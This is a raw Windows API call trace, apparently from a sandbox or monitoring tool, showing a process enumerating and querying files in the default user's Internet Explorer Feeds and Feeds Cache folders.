	[0082.315] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0082.315] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.315] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.316] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff107f92, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1a00)) returned 1
	[0082.316] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.317] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.317] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.331] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.331] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
	[0082.331] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1
	[0082.332] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1
	[0082.332] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.332] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.332] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1
	[0082.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fd8b8 | out: lpFileInformation=0x123fd8b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1
	[0082.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fd908 | out: lpFileInformation=0x123fd908*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1
	[0082.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.334] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.334] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.334] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.334] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1
	[0082.334] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.334] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~"), fInfoLevelId=0x0, lpFileInformation=0x123fd9f8 | out: lpFileInformation=0x123fd9f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.334] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.335] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.335] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.335] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1
	[0082.335] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.335] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.335] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1
	[0082.335] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.335] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.335] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.337] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.337] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0082.337] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0082.337] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0082.337] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.337] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa9d0d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0082.337] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
	[0082.337] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.338] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr"), fInfoLevelId=0x0, lpFileInformation=0x123fdd18 | out: lpFileInformation=0x123fdd18*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.339] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.339] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.339] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.339] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.339] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
